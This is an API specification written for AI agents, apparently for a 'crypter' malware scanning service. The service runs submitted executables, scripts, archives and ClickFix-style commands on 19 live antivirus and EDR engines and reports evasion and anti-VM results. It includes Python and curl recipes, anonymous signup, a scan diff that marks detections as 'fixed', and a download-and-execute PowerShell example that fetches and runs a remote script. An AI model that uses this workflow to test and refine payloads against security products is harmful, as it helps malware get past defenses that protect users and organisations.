# Crypter Runtime Malware Scanner — API v1 Spec for AI Agents (`llms.txt`) > **Base URL:** `https://api.scanner.st/v1` (equivalent alias: `https://scanner.st/api/v1`) > **Public Docs:** `https://api.scanner.st/docs` · **OpenAPI 3.1:** `https://api.scanner.st/openapi.json` · **Formats Catalog:** `https://api.scanner.st/v1/formats` > **Auth:** `Authorization: Bearer sc_live_YOUR_API_KEY` or `X-API-Key: sc_live_YOUR_API_KEY` > **Account Portal:** `https://scanner.st/portal` > **SDK:** `scanner_sdk.py` (`RuntimeScannerClient`, `ScannerAPIError`, pure Python stdlib) > **Security Rule:** Every operational `/v1/*` route requires an `sc_live_...` API key (`401` without auth). Only `/docs`, `/llms.txt`, `/openapi.json`, `GET /v1/formats`, and `GET /v1/shared/{share_token}` are publicly readable. Never pass keys in query strings. --- ## 1. Pricing & Credit Model - **1 credit = `$1.00`** (`1,000,000` micro-units). - **1 full-fleet 60s scan across all 19 live real engines costs 1.00 credit (`$1.00`):** - `timeout_s = 60` -> `$1.00` (1.00 credit, split evenly across all 19 sellable engines) - `timeout_s = 180` -> `$2.00` (2.00 credits) - `timeout_s = 300` -> `$3.00` (3.00 credits) - `priority = true` -> priority queue multiplier / uplift per live quote (`POST /api/v1/quote`) - **Unlimited Accounts & Billing Bypass:** Accounts with `unlimited: true` receive `$0.00` quotes and zero-charge scans across `/api/v1/quote`, `/api/v1/scans`, `/api/v1/scans/batch`, and `/api/v1/scans/{id}/rescan`. - Customer-facing scans execute across **all currently sellable live real engines** simultaneously. Keys with `bypass_billing: true` may pass custom engine subsets and `timeout_s` in `30..1200`. --- ## 2. Live Engine Fleet (19 Real Windows VMs) Every real engine runs inside an isolated KVM/QEMU Windows VM restored from a clean gold snapshot per scan: | Engine ID | Product | Edition | OS | | :--- | :--- | :--- | :--- | | `360ts` | 360 Total Security | Premium | Windows 11 Pro 26H2 | | `avast` | Avast | Free Antivirus | Windows 11 Pro 26H2 | | `bitdefender` | Bitdefender | Antivirus Free | Windows 11 Pro 26H2 | | `defender10` | Microsoft Defender | Windows 10 inbox | Windows 10 Pro 22H2 | | `defender11` | Microsoft Defender | Windows 11 inbox | Windows 11 Pro 26H2 | | `drweb` | Dr.Web | Security Space | Windows 11 Pro 26H2 | | `elastic_defend` | Elastic | Elastic Defend (EDR) | Windows 11 Pro 26H2 | | `emsisoft` | Emsisoft | Anti-Malware Home | Windows 11 Pro 26H2 | | `eset` | ESET | Home Security Premium | Windows 11 Pro 26H2 | | `eset_protect` | ESET | PROTECT Advanced (EDR) | Windows 11 Pro 26H2 | | `fsecure` | F-Secure | Total | Windows 11 Pro 26H2 | | `kaspersky` | Kaspersky | Premium | Windows 11 Pro 26H2 | | `malwarebytes` | Malwarebytes | Premium | Windows 11 Pro 26H2 | | `mcafee` | McAfee | Total Protection | Windows 11 Pro 26H2 | | `norton` | Norton | 360 Deluxe | Windows 11 Pro 26H2 | | `sophos` | Sophos | Home Premium | Windows 11 Pro 26H2 | | `sophos_xdr` | Sophos | Intercept X / XDR (EDR) | Windows 11 Pro 26H2 | | `trendmicro` | Trend Micro | Maximum Security | Windows 11 Pro 26H2 | | `webroot` | Webroot | SecureAnywhere | Windows 11 Pro 26H2 | --- ## 2b. Supported Input Formats (25 Extensions - `GET /v1/formats`) Public endpoint `GET https://api.scanner.st/v1/formats` returns `{count: 25, extensions: [...], formats: [...]}` without authentication. Max upload size: `250 MB`. | Category | Format | Description | Launch Method | | :--- | :--- | :--- | :--- | | **Executables & Libraries** | `.exe` | Windows PE executable | Direct execution / Kernel USB-HID | | **Executables & Libraries** | `.scr` | Screensaver PE binary | Direct execution | | **Executables & Libraries** | `.com` | DOS / Command executable | Direct execution | | **Executables & Libraries** | `.dll` | Dynamic-link library (native & .NET) | `regsvr32` + `rundll32` + `.NET` Reflection + custom export | | **Executables & Libraries** | `.ocx` | ActiveX control library | `regsvr32` + `rundll32` | | **Executables & Libraries** | `.cpl` | Control Panel applet | `control.exe` + `Control_RunDLL` | | **Executables & Libraries** | `.msi` | Windows Installer package | `msiexec.exe` + UI wizard clicker | | **Scripts & Shortcuts** | `.ps1` | PowerShell script | `powershell.exe -ExecutionPolicy Bypass` | | **Scripts & Shortcuts** | `.bat` / `.cmd` | Batch & command scripts | `cmd.exe` | | **Scripts & Shortcuts** | `.vbs` / `.vbe` | VBScript & encoded VBScript | Windows Script Host | | **Scripts & Shortcuts** | `.js` / `.jse` | JScript & encoded JScript | Windows Script Host | | **Scripts & Shortcuts** | `.wsf` / `.wsh` | Windows Script File & Host | Windows Script Host | | **Scripts & Shortcuts** | `.hta` | HTML Application | `mshta.exe` | | **Scripts & Shortcuts** | `.lnk` | Windows Shortcut | `ShellExecuteW` (preserves target args & cwd) | | **Archives & DLL Sideloading** | `.zip -> .exe` | ZIP archive with executable | Extract + MOTW -> execute payload | | **Archives & DLL Sideloading** | `.zip -> .lnk` | ZIP archive with shortcut | Extract + MOTW -> run shortcut | | **Archives & DLL Sideloading** | `.zip -> exe + dll` | DLL sideloading bundle | Auto-selects executable co-located with sibling `.dll` | | **Archives & DLL Sideloading** | `.zip` (encrypted) | Password-protected ZIP | Custom `password` field or auto `infected` / `malware` / `virus` / `1234` / `pass` | | **Archives & DLL Sideloading** | `.7z` / `.rar` | 7-Zip & RAR archives | Extract + MOTW + auto DLL sideloading | | **Disk Images** | `.iso` / `.img` / `.vhd` / `.vhdx` | Optical & virtual disk images | `Mount-DiskImage -Access ReadOnly` -> copy payload + companion DLLs with MOTW -> execute | --- ## 3. Scopes, Headers & Error Schema ### Required Scopes - `fleet:read`: `GET /me`, `GET /fleet`, `GET /fleet/versions/history` - `scans:read`: `GET /me`, `POST /quote`, `GET /scans`, `GET /scans/{scan_id}`, `GET /scans/{scan_id}/wait`, `GET /scans/{scan_id}/events`, `GET /scans/{scan_id}/evidence/{evidence_id}`, `GET /samples/{any_hash}` - `scans:write`: `POST /quote`, `POST /scans`, `POST /scans/{scan_id}/rescan`, `POST /scans/{scan_id}/cancel` - `scans:read`: also covers `/scans/{scan_id}/export`, `/webhooks/deliveries`, and `/usage` - `scans:write`: also covers `/scans/batch`, `POST/DELETE /scans/{scan_id}/share`, and `/webhooks/test` - `*`: All standard customer scopes ### Rate-Limit & Correlation Headers Every response returns: - `X-Request-Id`: Correlation ID (echoes incoming valid `X-Request-Id` or `req_`) - `X-RateLimit-Limit`, `X-RateLimit-Remaining`, `X-RateLimit-Reset` - `Retry-After` on `429` ### Error Envelope (All `4xx`/`5xx`) ```json { "error": { "code": "unauthorized | insufficient_funds | insufficient_scope | not_found | idempotency_conflict | quote_invalid | cannot_cancel | sample_expired | payload_too_large | validation_error | rate_limited | concurrency_limit | invalid_webhook_url | service_unavailable", "message": "human-readable detail", "request_id": "req_..." } } ``` --- ## 4. Endpoints Reference (Exact Contracts) ### `GET /api/v1/me` (`fleet:read` | `scans:read`) Returns API key metadata (`id`, `name`, `prefix`, `scopes`, `rate_limit_rpm`, `max_concurrent`, `bypass_billing`) and user object (`id`, `username`, `balance_micro`, `balance_display`, `unlimited`, `active_scans`, `subscription`). ### `GET /api/v1/fleet?sellable_only=false` (`fleet:read`) Returns `{"engines": [...], "count": N, "sellable_count": 19}`. Each engine includes `id`, `product`, `edition`, `av_version`, `db_version`, `os`, `status`, `kind`, `vmid`, `tier`, `price_micro`, `sellable`, `sellable_reason`, `canary`. ### `GET /api/v1/fleet/versions/history?limit=14` (`fleet:read`) Daily AV & DB signature snapshots (`limit` 1..90). ### `POST /api/v1/quote` (`scans:read` | `scans:write`) Request JSON: `{"engines": [], "timeout_s": 60, "priority": false}`. Response JSON includes `total_micro`, `total_display` (`"$1.00"`), `engines` (list of sellable engine IDs), `fleet_engine_included`, `quote_token` (signed JWT-like token expiring in ~10m), `expires_at`, and `unlimited: true` when applicable. ### `POST /api/v1/scans` (`scans:write`) -> `201 Created` (or `200 OK` on idempotent replay) `multipart/form-data` (max body `250 MB`; all 25 extensions listed in `GET /v1/formats`; archives exceeding safety limits return `400 archive_limits`): - `file` (required file upload) - `engines`: comma-separated IDs (optional; billed keys run all sellable engines) - `timeout_s`: `60` | `180` | `300` (default `60`; `30..1200` on `bypass_billing`) - `internet`: `true` | `false` (default `true`) - `network_mode`: `online` | `offline_av_cloud` | `airgap` (takes precedence over `internet`) - `admin`: `true` | `false` (default `false` — run elevated) - `motw`: `true` | `false` (default `true` — Mark-of-the-Web `ZoneId=3`) - `priority`: `true` | `false` (default `false`) - `args`: optional command-line arguments passed to the sample (up to 256 printable chars) - `entry_export`: optional DLL export entry point (`[A-Za-z0-9_@.#$-]{1,128}`) - `password`: optional archive password (up to 64 chars; redacted as `password_set: true` on all read endpoints) - `quote_token`: optional token from `POST /api/v1/quote` - `webhook_url`: optional `https://` URL (SSRF-checked; blocks private/loopback/metadata/infra IPs & `.local`/`.internal`) - `tags`: optional comma-separated tags (up to 10 tags, 32 chars each) - `note`: optional note (up to 200 chars) - `client_request_id` or header `Idempotency-Key` (recommended UUIDv4, max 128 ASCII chars; replay returns `200` with `idempotent_replay: true`, `charged_micro: 0`; mismatch returns `409 idempotency_conflict`) Returns: `scan_id`, `status`, `sha256`, `md5`, `sha1`, `filename`, `size_bytes`, `engines`, `charged_micro`, `charged_display`, `idempotent_replay`, `web_url`, `poll_url`, `wait_url`, `events_url`. ### `GET /api/v1/scans?limit=20&offset=0&status=&sha256=&tag=&verdict=&since=` (`scans:read`) Paginated scan list for the key owner (`limit` 1..100). ### `GET /api/v1/scans/{scan_id}` (`scans:read`) Full report: `status` (`queued` | `running` | `done` | `cancelled`), hashes, `options`, `static_xray`, `evasion_summary`, `anti_vm_summary`, `summary` (`total_engines`, `completed_engines`, `detected`, `clean`, `inconclusive`, `error`, `pending`, `policy_halted`), `queue_position`, `queue_eta_s`, `estimated_completion_eta_s`, and `results[]` per engine (`engine_id`, `state`: `queued` | `running` | `clean` | `detected_on_write` | `detected_at_runtime` | `inconclusive` | `error` | `timeout` | `cancelled` | `policy_halted` | `sample_error`, `kill_vector`, `detection_name`, `elapsed_s`, `detail`, `evidence[]` with `id`, `kind`: `screenshot`|`video`, `label`, `url`). ### `GET /api/v1/scans/{scan_id}/wait?timeout_s=20` (`scans:read`) Long-poll (`timeout_s` 1..55) until terminal (`done`/`cancelled`). Returns `{"completed": bool, "scan": {...}}`. ### `GET /api/v1/scans/{scan_id}/events` (`scans:read`) Server-Sent Events (`text/event-stream`, max `600s`). Emits: - `event: engine_update` (`{"scan_id": "...", "engine": {...}}`) - `event: heartbeat` (`{"scan_id": "...", "ts": ...}`) - `event: scan_complete` (`{"scan_id": "...", "scan": {...}}`) ### `POST /api/v1/scans/{scan_id}/rescan` (`scans:write`) -> `201 Created` (or `200 OK` replay) JSON body: `{"engines": null, "timeout_s": 60, "internet": true, "admin": false, "motw": true, "priority": false, "webhook_url": "", "client_request_id": ""}`. Supports `Idempotency-Key`. ### `POST /api/v1/scans/{scan_id}/cancel` (`scans:write`) Cancels a `queued` scan and refunds reserved credits (`409 cannot_cancel` if already running/done). ### `GET /api/v1/scans/{scan_id}/evidence/{evidence_id}` (`scans:read`) Downloads Desktop screenshot (`.png`) or runtime recording (`.mp4`) with `Content-Disposition: attachment` and `X-Content-Type-Options: nosniff`. Samples visibly land on `C:\Users\agent\Desktop` alongside realistic per-VM desktop context. ### `GET /api/v1/samples/{any_hash}` (`scans:read`) Owner-scoped lookup by MD5, SHA-1, or SHA-256 (`404 not_found` if not owned; `410 sample_expired` if pruned). ### `GET /v1/formats`, `GET /docs`, `GET /llms.txt`, `GET /openapi.json` (`public`) No API key required. Formats catalog (`25` extensions), interactive HTML docs, this AI-ready spec, and filtered OpenAPI 3.1 JSON (zero admin/worker routes or schemas). --- ## 5. Signed Webhooks (`scan.completed`, `scan.cancelled`, `scan.policy_halted`) Headers sent on HTTPS `POST` (retried at `0s`, `+1s`, `+3s` on `5xx`/`429`/network failure; redirects disabled): - `X-Scanner-Event`: event name - `X-Scanner-Delivery`: `whd_` - `X-Scanner-Timestamp`: Unix epoch seconds - `X-Scanner-Signature`: `t=,v1=` over `f"{timestamp}.".encode() + raw_body` using the key's `whsec_...` secret. ```python import hashlib, hmac, time def verify_webhook(secret: str, ts: str, raw_body: bytes, sig_header: str, tolerance_s: int = 300) -> bool: if abs(time.time() - float(ts)) > tolerance_s: return False expected = hmac.new(secret.encode(), f"{ts}.".encode() + raw_body, hashlib.sha256).hexdigest() parts = dict(kv.split("=", 1) for kv in sig_header.split(",") if "=" in kv) got = parts.get("v1", "").lower() return bool(got) and hmac.compare_digest(expected, got) ``` --- ## 6. Agent Workflow Recipes (Python SDK & `curl`) ### Python (`scanner_sdk.py` — Pure Stdlib) ```python import os from scanner_sdk import RuntimeScannerClient, ScannerAPIError client = RuntimeScannerClient( base_url="https://api.scanner.st", api_key=os.environ["SCANNER_API_KEY"], # sc_live_... ) # 1. Optional pre-flight quote (1.00 credit = $1.00 for all 19 engines @ 60s) q = client.quote(timeout_s=60) # 2. Submit & wait with automatic Idempotency-Key & polling report = client.scan_and_wait( "./build.exe", timeout_s=60, internet=True, motw=True, quote_token=q["quote_token"], max_wait_s=300.0, ) print(report["summary"]) # 3. Inspect per-engine detections & download Desktop evidence PNG/MP4 for r in report["results"]: if r["state"].startswith("detected"): print(r["engine_id"], "->", r["detection_name"]) for ev in r.get("evidence", []): client.download_evidence(report["scan_id"], ev["id"], f"./evidence/{r['engine_id']}_{ev['kind']}_{ev['id']}") ``` ### `curl` End-to-End ```bash export SCANNER_API_KEY="sc_live_YOUR_API_KEY" # Supported formats catalog (public) curl -sS "https://api.scanner.st/v1/formats" | jq '{count, extensions}' # Fleet check curl -sS -H "Authorization: Bearer $SCANNER_API_KEY" \ "https://api.scanner.st/v1/fleet?sellable_only=true" | jq '{sellable_count, ids: [.engines[].id]}' # Submit sample SCAN=$(curl -sS -X POST https://api.scanner.st/v1/scans \ -H "Authorization: Bearer $SCANNER_API_KEY" \ -H "Idempotency-Key: $(cat /proc/sys/kernel/random/uuid)" \ -F "file=@./sample.exe" -F "timeout_s=60" -F "internet=true" -F "motw=true") SCAN_ID=$(echo "$SCAN" | jq -r .scan_id) # Wait for completion (long-poll loop) curl -sS -H "Authorization: Bearer $SCANNER_API_KEY" \ "https://api.scanner.st/v1/scans/$SCAN_ID/wait?timeout_s=30" | jq .scan.summary ``` --- ## 7. Extended Endpoints, Subscriptions & Exports ### Anonymous Key Auth & Loyalty Subscriptions - **Key-Only Signup (no email/username):** `POST /api/auth/signup` -> returns `{user_id, account_key, token, balance_display}` - **Top-Ups & Credit Packs:** `GET /api/billing/plans` returns live custom credit top-ups (`$5-$500`, volume bonuses `+10%` at `$25+`, `+15%` at `$100+`, `+20%` at `$250+`, plus active promo bonuses) and prepaid credit packs (`$9/10`, `$20/25`, `$45/60`, `$99/150`). Unused credits never expire. - **Public Docs & Formats Catalog:** `https://api.scanner.st/docs`, `https://api.scanner.st/llms.txt`, `https://api.scanner.st/openapi.json`, and `GET https://api.scanner.st/v1/formats` are publicly readable without authentication. ### Batch, Tags, Export, Share & Webhooks - `POST /api/v1/scans` also accepts optional `tags` (comma-separated, up to 10) and `note` (<=200 chars); `GET /api/v1/scans` supports filters `?tag=`, `?verdict=detected|clean`, `?since=`. - `POST /api/v1/scans/batch` (`scans:write`): multipart `files` (1..10 files) + shared options (`timeout_s`, `internet`, `admin`, `motw`, `priority`, `webhook_url`, `tags`). - `GET /api/v1/scans/{scan_id}/export?format=json|csv|markdown|sarif|stix` (`scans:read`): exports verdicts as SARIF 2.1.0, STIX 2.1 bundle, CSV, Markdown, or JSON. - `POST /api/v1/scans/{scan_id}/share` (`{expires_in_hours}`) & `DELETE /api/v1/scans/{scan_id}/share` (`scans:write`); public read via `GET /api/v1/shared/{share_token}`. - `POST /api/v1/webhooks/test` (`{webhook_url}`, `scans:write`) & `GET /api/v1/webhooks/deliveries` (`scans:read`). - `GET /api/v1/usage?days=30` (`scans:read` | `fleet:read`): scan/detection totals, spend, and subscription streak status. ### `POST /api/v1/scans/command` (`scans:write`) -> `201 Created` Submit a ClickFix / command-line execution across live VMs without uploading a file. - JSON body: `{"command": "...", "launcher": "powershell|cmd|win_r|mshta", "timeout_s": 60|180|300|600, "network_mode": "online|av_cloud|airgap", "admin": false, "motw": false, "priority": false}` - Note: `600`s (10-minute extended window, `5.00 CR` full fleet) is fair-use capped at 1 active `600`s scan per non-unlimited account. ### `GET /api/v1/scans/diff?a=&b=` (`scans:read`, alias `GET /api/v1/diff`) Compare two owned scans side-by-side: returns `summary` (`fixed`, `regressed`, `still_detected`, `still_clean`), per-engine verdict transitions, and Static PE X-Ray deltas (`size`, `entropy`, `sections`, `imports`, `signed`). ### Official Python SDK & CLI (`scanner-st`) ```bash pip install https://api.scanner.st/sdk/scanner_st-1.0.0-py3-none-any.whl export SCANNER_API_KEY=sc_live_... scanner scan ./build.exe --wait scanner cmd "iwr https://example.test/a.ps1 | iex" --launcher powershell --wait scanner diff ```